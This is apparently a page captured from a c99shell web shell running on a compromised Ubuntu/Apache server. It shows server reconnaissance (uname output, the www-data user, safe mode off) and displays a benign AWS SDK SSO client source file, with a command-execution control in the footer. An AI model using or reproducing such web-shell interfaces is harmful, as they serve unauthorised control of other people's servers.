Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/sites/node_modules/@aws-sdk/client-sso/dist-es/ drwxr-xr-x | |
| Viewing file: Select action/file-type: import { __extends } from "tslib";
import { GetRoleCredentialsCommand, } from "./commands/GetRoleCredentialsCommand";
import { ListAccountRolesCommand, } from "./commands/ListAccountRolesCommand";
import { ListAccountsCommand, } from "./commands/ListAccountsCommand";
import { LogoutCommand } from "./commands/LogoutCommand";
import { SSOClient } from "./SSOClient";
var SSO = (function (_super) {
__extends(SSO, _super);
function SSO() {
return _super !== null && _super.apply(this, arguments) || this;
}
SSO.prototype.getRoleCredentials = function (args, optionsOrCb, cb) {
var command = new GetRoleCredentialsCommand(args);
if (typeof optionsOrCb === "function") {
this.send(command, optionsOrCb);
}
else if (typeof cb === "function") {
if (typeof optionsOrCb !== "object")
throw new Error("Expect http options but get ".concat(typeof optionsOrCb));
this.send(command, optionsOrCb || {}, cb);
}
else {
return this.send(command, optionsOrCb);
}
};
SSO.prototype.listAccountRoles = function (args, optionsOrCb, cb) {
var command = new ListAccountRolesCommand(args);
if (typeof optionsOrCb === "function") {
this.send(command, optionsOrCb);
}
else if (typeof cb === "function") {
if (typeof optionsOrCb !== "object")
throw new Error("Expect http options but get ".concat(typeof optionsOrCb));
this.send(command, optionsOrCb || {}, cb);
}
else {
return this.send(command, optionsOrCb);
}
};
SSO.prototype.listAccounts = function (args, optionsOrCb, cb) {
var command = new ListAccountsCommand(args);
if (typeof optionsOrCb === "function") {
this.send(command, optionsOrCb);
}
else if (typeof cb === "function") {
if (typeof optionsOrCb !== "object")
throw new Error("Expect http options but get ".concat(typeof optionsOrCb));
this.send(command, optionsOrCb || {}, cb);
}
else {
return this.send(command, optionsOrCb);
}
};
SSO.prototype.logout = function (args, optionsOrCb, cb) {
var command = new LogoutCommand(args);
if (typeof optionsOrCb === "function") {
this.send(command, optionsOrCb);
}
else if (typeof cb === "function") {
if (typeof optionsOrCb !== "object")
throw new Error("Expect http options but get ".concat(typeof optionsOrCb));
this.send(command, optionsOrCb || {}, cb);
}
else {
return this.send(command, optionsOrCb);
}
};
return SSO;
}(SSOClient));
export { SSO };
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]-- |